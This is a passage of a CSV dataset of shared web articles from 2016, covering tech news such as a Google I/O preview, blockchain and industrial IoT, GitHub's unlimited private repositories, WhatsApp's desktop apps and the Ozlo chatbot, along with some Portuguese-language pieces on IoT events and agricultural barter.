measure or simulate decorating an existing room with virtual furniture in a merged rendering of the virtual and real on the Tango Project device.",en
1462918156,CONTENT SHARED,1805849336099641652,-1443636648652872475,1834840117883794874,,,,HTML,http://arstechnica.com/gadgets/2016/05/google-io-2016-preview-a-chromeandroid-merger-project-tango-vr/,Google I/O 2016 Preview: A Chrome/Android merger? Project Tango? VR?,"Google I/O is Google's annual launch party where the company shows off its biggest products and teaches developers how to be a part of the Google ecosystem. The event takes place from May 18-20 at the Shoreline Amphitheatre in Mountain View, California. Google I/O this year is definitely weird. It's in an all-new location, and the big news that we would expect to happen at I/O-a new version of Android-has already been released. As a result, there is really nothing that we would put at a 100 percent lock for I/O-we just aren't sure what Google is going to do. The schedule gives us some vague idea of what we can expect to see, but since Google likes to avoid spoiling its announcements, the schedule isn't always a comprehensive list until after the opening-day keynote. While we aren't making guaranteed predictions, we can at least offer a list of possibilities based on projects we know are in-the-works at Google HQ. This is the first Google I/O since Google became a subsidiary under Alphabet , but we're going to assume most of the other Alphabet companies aren't going to join in on the fun. None of the divisions in Alphabet are really ""new""-the groups have all been inside Google for some time. Even when they were part of Google, most groups didn't participate in Google I/O. Now that they're separated even further, we expect their non-participation in I/O to continue. The one exception is Google X ( Now just ""X"" ), which famously demoed Google Glass at the show in 2012. After the N Developer Preview, what's left for Android? The Android L Developer Preview was announced at Google I/O 2014, and it immediately became the biggest news of the show. The Android M Developer Preview was announced at Google I/O 2015, and stole the show there, too. The Android N Developer Preview was announced in early March with a surprise blog post. What does that leave for Google I/O 2016? It's a good bet a fresh version of the Android N Developer Preview will be released at the show, but that's usually not a huge deal-the second preview build introduced the Vulkan graphics API and a few other features, and we wouldn't expect the third build to be a much bigger deal. We've heard about new HTC-built Nexus devices in the works, but given that Android N has a Q3 2016 release date, I/O is too early to hear about those devices. We might hear about what sugary snack the ""N"" in ""Android N"" stands for. We're hoping for more important news, though. The great Chrome OS merger and desktop Android Further Reading Android gets a desktop-style floating window mode, and there's even mouse support. The Wall Street Journal , TechCrunch , Business Insider , and Recode have all independently heard of a Chrome and Android merger that would result in Android becoming Google's flagship desktop and laptop operating system. The move would turn Android into Google's ""everything"" OS, allowing it to run on watches, phones, tablets, laptops, desktops, TVs, and cars. Android would need a brand new interface to work on a PC with a mouse and keyboard, just as it has a brand new interface for cars, TVs, and watches. We saw what seems like the beginnings of this with Android N's floating window mode , a feature that is hidden and unfinished in the current Android N Developer Preview. Perhaps Google I/O could be the coming out party for the multi-window feature or for the entire Android-on-PCs strategy. The original Wall Street Journal report mentioned a release date of 2017 with ""an early version"" arriving in 2016. Google's big demos usually happen at Google I/O, so could we see a demo of the desktop version? Google would certainly want to get developer feedback on a major new interface like this, and there would probably be lots of new APIs to talk about. It would also explain why we got a random March release for Android N-Google didn't want to overwhelm everyone by launching both Android N and announcing a new desktop interface (and possibly a replacement for Chrome OS) at Google I/O. Google Play comes to other desktop platforms? Code inside Chrome OS suggests Google is planning to bring Google Play to its current desktop operating system. The Google Play Store was being brought to Chrome OS as a Chrome extension via Google's "" App Runtime for Chrome (ARC) "" project. Chrome extensions run not just on Chrome OS, but also on every desktop version of Chrome. If a Play Store on Chrome OS was released with this, it would also be possible to have the Google Play Store run on Windows, Mac OS, and Linux. Google Play on other platforms is pure speculation on our part, but it would be technically possible and it would line up with Google's typical strategy. On mobile, Google takes a ""horizontal"" strategy with iOS. It has its Android operating system which gets priority support for most Google apps, but it also makes 67 different apps for iOS. Wherever users are, they can jump into the Google ecosystem. Android moving to the desktop would necessitate Google building desktop apps, and getting those apps on rival desktop OSes would mirror Google's mobile strategy. The Google Play Store on rival platforms would be an even more intense platform invasion. It doesn't happen on iOS because the OS is strictly controlled by Apple, but those controls don't exist for Windows, OS X, and Linux. Google would have a good pitch for developers, saying that Android code could be used on watches, phones, tablets, cars, televisions, the new Android desktop OS, Chrome OS, Windows, Mac OS, and Linux. It could also bootstrap developer interest for its fledgling Android-based desktop OS by telling developers they also get access to Chrome OS, Windows, Mac, and Linux users. Users that bought games or apps on one platform could bring them to all the others without a lot of extra work. Google Play comes to China With a population of 1.35 billion people, China is the world's biggest market. It's also a market that Google Play doesn't really do business in, thanks to past disagreements with the Chinese government. Reports from several reliable outlets have said that Google is working with the Chinese government and plans to launch Google Play in China this year . According to Reuters , the plan involves a version of the Play Store ""set up specifically for China, and not connected to overseas versions of Google Play."" There's no telling if this will be announced at Google I/O, but being able to tell a room full of developers that they can now easily sell apps to an extra billion people seems like a win for Google. Android is open source and available to anyone without restrictions, but the Google Play Store, Google Play Services (Google's developer APIs), and other Google apps are not. To be a part of Google's ecosystem, device manufacturers must sign a MADA (Mobile Application Distribution Agreement) contract with Google. When we last saw one of these confidential contracts in 2011 , Google ""bundled"" all the Google apps together-if you wanted one you needed to include all the others. It also included an anti-fragmentation clause that banned participants from taking ""any actions that may cause or result in the fragmentation of Android,"" including creating or distributing ""a software development kit (SDK) derived from Android or derived from Android Compatible Devices."" This is widely interpreted as ""you aren't allowed to use Android on any product without also including Google Play."" Since Google has every major Android manufacturer under contract, in most countries Google Play acts as the ""default"" app store, and has a huge market share of Android-based devices versus other app stores. China is the main exception. With no Google Play Store in China, there is no ""default"" app store, so it's a messy free-for-all. Chinese customers end up with an OEM-provided app store and maybe one from one of the major Chinese Internet companies, like Tencent, Baidu, or Qihoo 360. Every OEM in China is basically shipping ""forked Android"" without Google Play, which would seemingly run afoul of the anti-fragmentation wording. Remember we're working off of older MADA contracts from 2011, but back then the contracts contained an interesting loophole that allowed Chinese apps stores to exist. The contract deals with distributing Google applications ""in the territories specifically authorized by Google."" China is not one of those countries, hence the app store free-for-all. Google notes that this list of territories ""may be updated by Google from time to time."" So our next question is ""Then what?"" What happens when Google Play moves into China? Does everyone's MADA contract kick in and Xiaomi, Huawei, and other top Chinese OEMs all immediately have to start shipping Google Play on everything? The transition will be something to keep a close eye on. Yet another reboot of Google's instant messaging strategy Many of the world's biggest tech companies consider instant messaging to be an important business worthy of their money and development resources. Snapchat and Facebook's WhatsApp are both valued at $16 billion. And that's nothing compared to China instant messaging app WeChat, which is valued at a whopping $83.6 billion . Judging by the products it has so far produced, it seems Google does not agree with this assessment of the messaging market. The company's only IM product is Google Hangouts, a neglected, barely-developed product that has earned an awful reputation with Android users. About six months ago, the Wall Street Journal reported that Google is planning a ""new, smarter messaging app"" that presumably would replace Hangouts. The new messaging app would integrate ""chatbots"" that would answer questions from ""the Web and other sources."" Microsoft is working on a similar concept inside Skype. At Build 2016, the company demoed the ability to do things like order pizza from Domino's via chatbot with automatic escalation to a human. A ""visual search"" camera app Google Goggles is a little-known visual search app developed by Google. You snap a picture, it gets uploaded to Google's servers, and Google tries to figure out what's in the picture. It can identify artwork, QR codes, landmarks, and solve Sudoku puzzles, and do other things that would be difficult to search for with purely text. The standalone app in the Play Store is pretty neglected, but a report from Slashgear says that Google is planning to revamp its visual search offering by integrating it directly into the Google Camera, the default camera app on Nexus devices. The report says users would be able to snap a picture and trace around the item they want more information on, and Google would return with results.",en
1462919178,CONTENT SHARED,7664140604181040222,-6030696784871381528,2514887732936397067,,,,HTML,http://readwrite.com/2016/05/09/blockhain-new-ir/,Will blockchain drive the fourth Industrial Revolution?,"The first Industrial Revolution brought steam power and factories. The second produced railroads and electricity. The third gave us the Internet, digital computers, and the conveniences of the modern world. Each of these revolutions began and finished with the creation of better, more efficient machines. But the fourth revolution, predicated upon the Industrial Internet of Things (IIoT), is nearly here, and it won't follow so closely in the tracks of its older brothers. The fourth revolution won't center on machinery that's simply stronger and faster: It'll revolve around machines that process, share, and act upon information without us, fundamentally modifying our relationships to our tools, our world, and one another. The data revolution Data - not coal, steel, or silicon - will be the currency of the fourth revolution. A single gas turbine, coupled to the industrial Internet, generates four times as much data in one day as the entirety of the world's Twitter posts, and yet we analyze less than 1 percent of those data. Bill Ruh, CEO of GE Digital, foresees a flood of digital information that today's analytics tools cannot hope to parse. ""A decade ago, we might have pulled in a terabyte of data every day,"" Ruh said in an interview with the Boston Globe . ""Today, we are talking about 10,000 terabytes a day. By 2020, we calculate we'll be at about a million terabytes of data a day."" Tomorrow's machines will produce the informational equivalent of several Libraries of Congress every day. Imagine reading every book in the Library of Congress, only to be told you must summarize what you learned in 10 pages and instantly communicate your findings to thousands of others. The task isn't just monumental - it's ludicrous. I remember at Yahoo!, we couldn't physically rack machines fast enough to keep up with the data coming off our website, and that was back in 2004, pulling data from hundreds of millions of users, let alone hundreds of billions of machines. The true wonder of the fourth industrial revolution won't be the data produced; it will be intelligent machines' capacity to analyze those data and communicate their findings within a network of similarly intelligent machines. Then, each connected machine will act, altering its processes to be more efficient and communicating those changes back to its network. Expect these responsive machines to put our world economy into overdrive: Ruh and GE believe that, over the next 20 years, intelligent machines and the Industrial IoT will add $15 trillion to the global economy. Considering that the global gross domestic product in 2015 was about , that's a massive increase. The underpinnings of revolution Two components are central and necessary to this coming revolution: a centralized, Industrial Internet-specific communications network, such as GE's Predix, and a systemic, decentralized way to facilitate commerce through disincentive against dishonest communication. The IIoT-specific network must function as a hub for smart machines to interface with one another and their human creators. Sensors in machines collect massive amounts of data and then sift through the data in real time. That, conceivably, can happen on a machine-by-machine basis. But to relay findings and make decisions without human intervention - to truly create an intelligent network - machines require a single communication network. Imagine sensors in an airplane engine recognizing a soon-to-malfunction part while the plane is in the air, then communicating with the destination airport that the engine will require maintenance and ordering its own replacement part to the terminal before landing. This breed of intuitive machinery is no sci-fi dream: It's our own immediate future . Today, as CEO of a company that is working closely with the Department of Energy to help the U.S. secure its critical infrastructure, it is my opinion that the IIoT information network is just half the battle. At the end of the day, it's about commerce. Think of it as the public roads upon which millions of autonomous vehicles might one day drive. Now, these autonomous vehicles have a singular system in which they operate. But how do we ensure every autonomous vehicle will play by the rules? How, for instance, do we ensure no vehicle transmits fraudulent information about its whereabouts, say, at the time of an accident? If just two parties were involved and each passenger corroborated his car's story, there would be no way to verify each party's claim to its location. Consider how the decentralized, satellite-based GPS would affect the situation. This system is impartial and connected to each car. Sure, each vehicle could continue to make its claim, but there'd be an easy way to verify which party is telling the truth. With the systemic, indefeasible nature of GPS, there'd be no reason for an autonomous vehicle, perhaps tampered with by its owner, to misreport its location at the time of an accident. This strong incentive to honesty would be tantamount to facilitating commerce between autonomous vehicles, and it would be necessary for owners to feel secure in their investments in those vehicles. GPS technology is to a network of autonomous vehicles as blockchain technology is to the industrial Internet as a whole. Sure, autonomous vehicles can physically drive on a road without GPS, but don't expect their owners to allow them to do so. Similarly, at a much bigger scale, a vast array of machines in the Industrial Internet can communicate on a singular, centralized network, but the owners won't allow them to do so without some assurance the machines can commerce without fear of fraud. Blockchain already spurring revolution elsewhere Blockchain , of course, has already been used to facilitate commerce in the finance industry. But digital information packets are discrete assets in the same way dollars are, and blockchain can create a digital record of their existence and transfer. The technology is essentially a record, or consolidated ledger, of digital events. This ledger is decentralized and shared among the different parties in a network, and it can be updated only by a majority consensus of those parties. Once a ledger entry is created, it can never be erased. Blockchain is the missing link to the revolution because the commerce it spurs will define trust among machines and stakeholders. To illustrate, let's think back to Volkswagen's recent emissions scandal. Volkswagen's tests showed its vehicles were emitting too much nitrogen oxide , so it chose to use a ""defeat"" device to hide the problem for subsequent tests. While blockchain wouldn't prevent somebody from physically tampering with machines or data, it would create transparent, shared, and indelible documentation of that original emissions data's existence. If this data had been created and shared through a blockchain system, VW would never have committed the fraud, as discrepancies between the two data sets would have been all too obvious to regulators. The benefits of IIoT are apparent, and we've developed the technologies for machine-to-machine communication; now, the challenges of lie between society and the next revolution. This has pushed us toward a new evolution of database technology that the past three decades have led up to, and we're finally seeing standardization momentum build . We all have different businesses and different objectives, but if we are all to benefit from the enhanced efficiencies brought by a fourth industrial revolution, we must settle on a single model for machine-to-machine commerce. And because no communication network can function without commerce between willing participants, we must integrate blockchain into this system. In an environment that requires continuous modification of data but also sensitivity to conditions required for uninhibited informational trade, blockchain is our best path toward a new industrial revolution. The author is the CEO of , a San Francisco-based consulting company specializing in lean security and helping companies build stronger software and infrastructure.",en
1462919352,CONTENT SHARED,7187974705675832644,-6030696784871381528,2514887732936397067,,,,HTML,http://readwrite.com/2016/05/10/internet-of-things-world-event-pt4/,Largest IoT Event Kicks Off at Santa Clara Convention Center,"The world's largest Internet of Things (IoT) event has started today at the Santa Clara Convention Center, with over 12,000 attendees and 200 exhibitions expected to attend the two day event. And because the new connected world is so interwoven, this event will feature discussions on the industrial IoT , smart homes and cities, autonomous cars, wearables, intelligent devices, and healthcare all at the same event for the first time. That means organizes have combined several usually standalone events - including Internet of Things World, Future Connected Cars, Wearable World Congress, and Apps World North America - all together in one place. Some of the biggest names in the industry will be attending, including Apple, Intel, Samsung, and Microsoft. The three biggest car sharing services, Uber, Lyft, and Zipcar, will participate in a panel titled ""Embracing shared mobility and the cultural implications to create smarter cities,"" alongside executives from the San Francisco Municipal Transportation Agency. ""IoT for Cities"" hackathon also kicks off GE subsidiary is sponsoring an ""IoT for Cities Hackathon,"" which brings together developers and city innovators to tackle the thorniest of city issues; it takes places between May 11 - 12. Over 200 data scientists and urban experts will craft and develop products that will deliver today's and tomorrow's smart cities - and the winner receiving $10,000 in cash. For the whole rundown of the event, check out the IoT World event page . ReadWrite's team will be attending the event as well, including yours truly and our editor-in-chief, Christopher Caen . We'll be busy doing our share of panel moderating, but let us know if you have some news to share. As well, a whole contingent from our parent company, Wearable IoT World, will be at the event as well. Stop by and see us at our booth, on the trade show floor at #844, as well as two micro-booths at the Startup City - one for our accelerator program, WIoTW Labs, and one for the IoT Global Council. See you there.",en
1462920714,CONTENT SHARED,2072448887839540892,-3390049372067052505,-5764325092046707218,,,,HTML,https://medium.com/enrique-dans/welcome-to-googlebank-facebook-bank-amazon-bank-and-apple-bank-c9c3955006d4,"Welcome to GoogleBank, Facebook Bank, Amazon Bank, and Apple Bank - Enrique Dans","Welcome to GoogleBank, Facebook Bank, Amazon Bank, and Apple Bank How would you like to bank with Apple, Google, Amazon, or Facebook? This is the question Fujitsu has just asked a sample of some 7,000 people throughout Europe : around a fifth said they were up for it. As the fintech environment garners an increasing number of experiences that tend to take place outside banking or insurance, and while the big tech companies push into financial products through payment initiatives, the idea seems to be gaining traction with more and more people . What is a bank anyway? If most of the business these days is mainly about moving bits around data bases, it's pretty clear that the big tech companies are going to have more expertise than banks that don't see technology as part of their business and tend to subcontract it out to the big consultancies or to simply continue doing thing like they did in the 1950s. Most banks are way behind the tech companies when it comes to dealing with clients, when it comes to their internet systems, and most definitely when it comes to analytics, as well as the assets they hold. Banks are generally still relatively small setups, less developed, and rooted in obsolete working practices. This is reflected in key areas such as risk analysis, which lags behind the big tech companies' use of machine learning, which in the case of outfits like Google are considered the basis for future growth . Until now, the tech sector has thought that it wasn't necessary to own a bank to disrupt the financial sector . But the signs are that some tech companies are increasingly taking on the role of banks . We can easily imagine a future in which these well-capitalized outfits realize that a banking license isn't such a big deal when it comes to building a sustainable competitive advantage and that they could integrate these services in the future if people accept the idea. The pundits have been asking for some time which sector Apple will disrupt next . The company would have no problem finding the money to meet the legal requirements, and with its history of cross selling, its network of shops and its client base, it would have few problems in becoming a powerful and profitable bank. What's more, the smartphone and companies like Venmo , Square , PayPal , Snapcash and many others, have pretty much put paid to the cheque book and the credit card. What's more, their target audience is the millennial generation born between 1981 and 1997 , is already the majority, and have no problems in accepting disruption to the financial sector. Let's be honest: the traditional banks do not enjoy sufficient loyalty from their customers that they could stand up to competition from new entrants from the technology sector. Could internet end up replacing the traditional banks ? For the moment, the most proactive are buying startups and companies with interesting business models , or those who are able to fit into their traditional ways of doing things , but... will such initiatives be enough to hold onto their places in an industry in which major disruption is coming?",en
1462922893,CONTENT SHARED,-4975645025178552956,3915038251784681624,5353874674773558606,,,,HTML,http://www.danbp.org/w/Sem_Parar_vs_Conectcar,Sem Parar vs Conectcar - DanBP.org,"Apesar de terem sido implantados a mais de 15 anos, os dispositivos de cobrança eletrônica pouco evoluíram em termos de clareza e transparência ao consumidor. Instalar um equipamento destes é como fazer a assinatura de revistas naquelas bancas instaladas em supermercados e aeroportos que prometem ""brindes"": Você só se dá conta do que fez quando começa a pagar.",pt
1462954505,CONTENT SHARED,-8085935119790093311,-1032019229384696495,7449982717083592275,,,,HTML,https://www.elastic.co/webinars/sneak-peek-of-graph-capabilities-with-elasticsearch,Graph Capabilities with the Elastic Stack,"Elasticsearch can power graph exploration at scale by collecting signals like clicks or purchases to identify meaningful connections between subjects on the fly. Watch this video for a preview and demo of Graph capabilities in the Elastic Stack, including: Detecting Sources of Risk - What are the shared behaviors of people trying to hack my website? Recommending Content - If users bought this type of gardening gloves, what other products might they be interested in? Identifying Relationships - Which people on Stack Overflow have expertise in both Hadoop-related technologies and python-related tech? Graph lets users leverage the relevance and distributed query execution capabilities of Elasticsearch - and we look forward to telling you how. Elasticsearch can power graph exploration at scale by collecting signals like clicks or purchases to identify meaningful connections between subjects on the fly. Watch this video for a preview and demo of Graph capabilities in the Elastic Stack, including: Detecting Sources of Risk - What are the shared behaviors of people trying to hack my website? Recommending Content - If users bought this type of gardening gloves, what other products might they be interested in? Identifying Relationships - Which people on Stack Overflow have expertise in both Hadoop-related technologies and python-related tech? Graph lets users leverage the relevance and distributed query execution capabilities of Elasticsearch - and we look forward to telling you how.",en
1462965391,CONTENT SHARED,-749116597676471759,-2979881261169775358,-7295336215432694808,,,,HTML,https://github.com/blog/2164-introducing-unlimited-private-repositories,Introducing unlimited private repositories,"We couldn't be more excited to announce that all of our paid plans on GitHub.com now include unlimited private repositories. GitHub will always be free for public and open source projects, but starting today there are just two ways to pay for GitHub.com: Personal: $7/month Organization: $9/user/month, $25/month for your first five users One of the very best things about Git and other distributed version control systems is the ability to create a new repository without asking permission or getting approval. While this has always been true for our public plans, it hasn't been the case for individuals and teams working together in private. All that changes today. If you're new to GitHub, you can sign up to start using unlimited private repositories. If you're already using GitHub.com, read on to learn how these changes will impact you. Individual developers If you're using GitHub for private projects, now there's just one paid plan-unlimited private repositories for $7/month. No matter what you were paying before, your plan now includes as many repositories as you need to work on projects in private-you can even invite a few collaborators. Over the next few days, we will automatically move all paid accounts, from Micro to Large, to the new plan. If you're currently paying for one of those larger plans, look out for a prorated credit on your account. Organizations If you're currently paying for one of our organization plans, you'll have the option to upgrade to unlimited private repositories at any time . For many of you, this change will mean immediate freedom from repository limits and a better way to grow and pay for GitHub. We want everyone to have a plan with unlimited private repositories, but don't worry-you are welcome to stay on your current plan while you evaluate the new cost structure and understand how to best manage your organization members and their private repository access. And while we're currently not enforcing a timeline to move, rest assured that you'll have at least 12 months notice before any mandated change to your plan. A better way to work We've heard from developers across our community that this new model is a better way to work. We agree-through years of building our business and developing GitHub for you, we've seen first hand the advantages of working without private repository limits. We hope you'll create more repositories, write more code, and keep doing amazing things with GitHub. As always, we're here to help. Take a look at our new plans , learn how to update your personal or organization plan, or get in touch -we'd love to hear from you.",en
1462972685,CONTENT SHARED,4045164454094417310,-9016528795238256703,-216018867350759586,,,,HTML,http://www.embarcados.com.br/1o-congresso-brasileiro-de-iot/,1º Congresso Brasileiro de IoT - Embarcados,"1 o Congresso Brasileiro e Latino-Americano de Internet das Coisas acontece paralelo à IoT Latin America 2016 Importante parceria estratégica entre a Real Alliance, organizadora da feira IoT Latin America , com o Fórum Brasileiro de IoT, uma das mais representativas entidades do setor no Brasil, acontece nos dias 01 e 02 de setembro, em São Paulo, o de Internet das Coisas - programa de workshops e conferências que reunirá especialistas e pesquisadores nacionais e internacionais a fim de discutir melhorias para fomentar o desenvolvimento da IoT na América Latina. Sobretudo, a parceria entre as instituições tem o objetivo de apresentar a importância da Internet das Coisas para a sociedade em geral, bem como mostrar ao mercado brasileiro o que está acontecendo com essas tecnologias inteligentes mundo afora. ""Partindo da projeção de que a IoT é o futuro da Tecnologia da Informação e que ainda é tempo do Brasil buscar o conhecimento necessário para se tornar um importante neste segmento, nossa principal tarefa a curto prazo é incentivar o desenvolvimento de novas plataformas que ofereçam facilidade de utilização, assim como as funcionalidades necessárias para trazer aos consumidores maior proximidade com as aplicações da Internet das Coisas"", analisa Gabriel Marão, membro do Comitê Gestor do Fórum Brasileiro de IoT. A grade completa com os diversos assuntos que estarão em debate durante o Congresso, bem como a lista de especialistas que conduzirão o programa de workshops e conferências, estará disponível em breve. Sobre a IoT Latin America Única feira de negócios na América Latina voltada ao universo da Internet das Coisas, a IoT Latin America traz ao Brasil a exposição de tecnologias que farão a comunicação entre os objetos do dia a dia, sejam físicos ou virtuais, por meio de plataformas confiáveis e sensores para conectar e proteger dispositivos eletrônicos, gerando e compartilhando dados em tempo real para usos diversos. IoT Latin America 2016 Horário: feira das 12h às 20h e conferências das 9h às 19h Local: Centro de Convenções Frei Caneca Endereço: Rua Frei Caneca, 569 - Consolação - São Paulo/SP Mais informações: www.iotlatinamerica.com * Este post foi patrocinado pela IoT Latin America 2016. O IoT Latin America -Feira brasileira de Internet das Coisas - é um evento focado exclusivamente em tecnologias que farão a comunicação entre os objetos do dia a dia, sejam físicos ou virtuais. O evento será o primeiro do segmento no Brasil e, certamente, uma das principais oportunidades da agenda de investimentos e de estímulos que influenciarão o desenvolvimento da IoT no país.",pt
1462977046,CONTENT SHARED,2518704978033827255,-1443636648652872475,1042623887799704844,,,,HTML,http://www.androidpolice.com/2016/05/10/google-now-posting-full-ota-images-for-nexus-devices-alongside-factory-images/,Google Now Posting Full OTA Images For Nexus Devices Alongside Factory Images,"For a long time now, Google has made factory images available with each new system update for Nexus devices, but the problem was, you had to have an unlocked bootloader in order to flash them. Not anymore. Starting today, Google now offers full OTA images for all currently supported devices. These are not the incremental OTAs which sometimes take weeks to fully roll out. These are full OTA images that you can simply sideload with adb in recovery regardless of whether your bootloader is locked or not. There appears to be one more ""feature"" that has been thrown in for good measure. Namely, you now have to agree to terms and conditions before getting links to either factory images or OTAs. Google initially started this full OTA business with the N preview to get you back to Marshmallow if you opted out of the beta program. It's nice to see the company roll this out retroactively for new 6.0 builds as well. There are a lot of reasons, chief among them security, to keep your bootloader locked, so it's great that El Goog has finally recognized this.",en
1462980375,CONTENT SHARED,-7673844339521298105,-1032019229384696495,7449982717083592275,,,,HTML,http://www.theverge.com/2016/5/10/11653606/whatsapp-mac-windows-desktop-apps-download,WhatsApp just released desktop apps for Mac and Windows,"About four months about making its messaging service available on the web , Facebook-owned WhatsApp is coming to the desktop . The company said today that its apps are now available for Windows 8 and above , and for Mac OS X 10.9 (Mavericks) and above . That's in addition to the existing apps for Android, iOS, Blackberry, and Windows Phone, among others. ""Like WhatsApp Web, our desktop app is simply an extension of your phone: the app mirrors conversations and messages from your mobile device,"" the company said. Put another way: you need the mobile app running on your phone, close to your desktop computer, for it to work. To log in to the app, you'll need to scan a QR code using the WhatsApp mobile app. Once you do, all your chats will load. Benefits of using the web app include desktop notifications and access to all your favorite keyboard shortcuts. In a quick session with the app, I found it fast and responsive. A desktop app may feel like a small thing, but messaging apps derive part of their power from ubiquity - the more places you can access them, the more often you'll use them. WhatsApp has more than 700 million users already. As of today, they have one more reason to keep it open all day.",en
1462980551,CONTENT SHARED,-7485130558326482162,-1032019229384696495,7449982717083592275,,,,HTML,https://www.buzzfeed.com/alexkantrowitz/ozlo-the-ai-chatbot-wants-to-help-you-find-coffee-and-food,Ozlo The AI Chatbot Wants To Help You Find Coffee And Food,"For the past few weeks, whenever I've found myself looking for a place to eat or drink, I've turned to Ozlo, a bot on my phone, for help. Meeting up with a friend one Sunday morning, I wrote ""coffee nearby,"" and he quickly returned with a list of local coffee shops. When I asked Ozlo to show me the shops on a map, he dropped one into the conversation. (By the way, Ozlo is male in gender according to his creators.) Ozlo is another in a rapidly lengthening conga line of AI-powered chatbots. More than two years in the making, he currently specializes in food and drink. Flush with with $14 million in venture capital funding from the likes of Greylock Partners and Yahoo co-founder Jerry Yang's AME Cloud Ventures, Ozlo is designed to field most any question about dining out - not just where to eat, but what. And the more you talk to Ozlo, the better he understands your preferences. If you're on the Paleo diet, he will look for restaurants and dishes that are Paleo-friendly. Eventually, Ozlo's developers plan to extend the bot into other categories including movies (""What action movies are playing nearby tonight?""), TV shows (""What's on ESPN right now?""), weather, shopping, and more. ""The way people find information really hasn't changed a lot since the search box,"" Ozlo CEO Charles Jolley told BuzzFeed News. ""We think there's a chance to build something here that is really much more helpful in answering the questions that matter most on your phone."" There's no human intermediary between Ozlo's AI and its users; he typically replies to queries in a matter of seconds. That's a critical feature, allowing the people that use him to sort through food options, narrow them down, and summon maps and menus pretty quickly. The quick responses give Ozlo a very different feel from Facebook's AI-powered virtual assistant M, which relies on humans to approve or adjust its answers and must sometimes wait for them to do so. That said, Ozlo's AI-only approach is also a bit limiting. Today, the bot understands about 70% of what's asked of him, according to Jolley. And the 30% he doesn't understand can be frustrating at times. But when the masses begin using Ozlo - the company will accept just 10,000 users at launch, but plans to add more by fall - his understanding should improve as he ""learns"" by processing more queries. Chatbots are hot right now thanks largely to Facebook's move last month to allow anyone create bots for its Messenger app's 900 million users. Many companies -from 1-800-Flowers to HP - introduced their own, but the reaction hasn't all been positive. Some of the bots have disappointed, leading to headlines like this one from The Guardian : ""Facebook's 'spammy' chatbots must improve - and fast."" Companies are experimenting with chatbots as they struggle to reach their customers on mobile devices. Eighty-four percent of our time in non-native apps is spent in just five apps, according to research firm Forrester, so companies outside that top five are seeking new ways to reach their customers, with widely used messaging apps primary among them. Using a handful of apps instead of visiting a seemingly unlimited array of websites also changes the way you find information, creating an opening for search alternatives, like Facebook's M, the soon-to-be-released Viv, and Ozlo. John Lilly, the Greylock partner who invested in Ozlo, understands what the company's up against. ""The challenge is, how to do you get anybody to use it? How do you get anybody to change their muscle memory?"" he said in an interview at Ozlo's Palo Alto headquarters. ""We just have to be genuinely useful, genuinely able to answer questions that others can't in a way that feels better to people."" While Ozlo will begin life as an app, the company will likely bring him to Facebook Messenger and beyond. ""We want him to be everywhere that you are,"" Jolley said. ""Internally, we have him running in other places."" With the assistance of some human feedback (you can rate Ozlo's answers with a thumbs-up or a thumbs-down) the AI gets smarter as it goes. This is a fundamental characteristic of AI, and it can occasionally lead in dark directions. Microsoft's AI chatbot, Tay, for instance, became a neo-Nazi after a day on Twitter. But Ozlo doesn't seem to have the same liabilities. Since his creators determine the topics in which he specializes, Ozlo can't just go off and read Mein Kampf . ""We decide what major areas he gets to learn about,"" Jolley said. To answer queries, Ozlo parses the words they contain and crunches data from about 30 sources - Yelp, Google, Foursquare, and Thrillist, among them - to generate a reasonable reply. ""You're building a machine that tries to understand the world and then reason about it, make inferences, make judgements,"" Jolley said. Still, Jolley admitted there's a level of uncertainty about what will happen with Ozlo once it's turned on to the public. It's an intriguing, fun element you'll find in any new AI endeavor, which should make the next few weeks especially interesting. ""We don't actually know exactly what's on the other side of all these people interacting with him,"" Jolley said. ""It won't be a disaster per se, but we don't exactly know. It's kind of uncharted territory.""",en
1462987628,CONTENT SHARED,6198232071580299480,-5264754785175108362,4459125688679749614,,,,HTML,http://revistagloborural.globo.com/Noticias/Economia/noticia/2016/05/empresas-intensificam-operacoes-de-barter-diante-da-dificuldade-de-credito.html,Empresas intensificam operações de barter diante da dificuldade de crédito,"Durante a Agrishow, preços das máqunas da Pinhalense estavam em sacas de café. Na foto, Reymar Coutinho, presidente da empresa (Foto: Teresa Raquel Bastos/Ed. Globo) As máquinas e implementos agrícolas do estande da empresa Pinhalense na Agrishow tinham um detalhe diferente de outros expositores. Seus preços, dispostos em placas vermelhas grudadas nas carcaças dos produtos, não estavam descritos em reais ou parcelas, mas em sacas de café . Ou seja, era um claro sinal de que a empresa faz barter , operação financeira que usa a própria produção como moeda de troca. ""Nossa empresa tem experiência com café, conhecemos o cafeicultor. Sabemos que a leitura que o produtor faz dos preços de uma máquina já é feito em sacas de café, essa conta já está na cabeça dele"", explica Reymar Coutinho, presidente da Pinhalense, sobre a decisao de expor seus preços já na linguagem do barter. A empresa já faz operações de troca há quatro anos, mas Coutinho afirma que ano passado a negociação cresceu. ""O barter antes não era expressivo porque (o produtor) tinha crédito atrativo, prazos de pagamento distantes. Até três anos atrás ele financiava a compra em 10 anos e com taxa de juros até 4,5%, por isso o barter não era atrativo. No fim do ano pra cá, com a mudança econômica, houve mais dificuldade de crédito para o produtor, e por isso começamos a perceber que a ferramenta é mais dinâmica, que não só tem segurança de troca mas também é independente de bancos"", conta. A demanda cresceu tanto que a empresa decidiu ampliar de uma para três safras o limite de pagamento da compra. ""A partir desse ano abrimos para três anos, uma alavancagem grande e uma nova possibilidade de ofertar nossos produtos ao agricultor . Ampliamos o prazo porque a demanda acabou acontecendo"". Além disso, a Pinhalense já estuda operar com a troca de soja também, outro pedido da clientela. Com a demanda por troca ficando aquecida e a possibilidade de vender mais em um período atual quando os produtores estão temerosos em investir mais em tecnologia , outras empresas de ramos mais raros entre os operadores de barter estão começando a entrar nesse nicho. A Netafim, empresa israelense de irrigação por gotejamento, inaugurou na Agrishow a possibilidade de trocar sua tecnologia por sacas de café. Segundo Elon Svicero, diretor comercial da marca, oferecer barter foi uma forma de estreitar o relacionamento com o público alvo cafeeiro. ""(O barter) vai ser uma ferramenta importante porque o segmento de investimento depende muito de financiamento. Vemos nos últimos meses um cenário politico de redução de recursos e financiamentos. O barter já é muito utilizado para insumos e máquinas, e para nós é uma alternativa para gerar venda adicional e continuar vendendo no segmento"". A expectativa é, com isso, ampliar em 30% as vendas de seus tubos subterrâneos e superficiais para o café ainda esse ano, ""mas sem certeza porque não sabe,os o cenário"" até o fim de 2016. O bom momento dos preços dos cafés arábica e robusta , e a última estiagem que assustou os produtores endossam com o barter que essa é a hora de modernizar a plantação. ""O mercado de café está positivo, com resultados ótimos. Se a produtividade dobrar, torna a ferramenta (do barter) importante. O cafeicultor passou por uma seca terrível nas últimas safras e isso despertou neles a importância de ter um sistema de 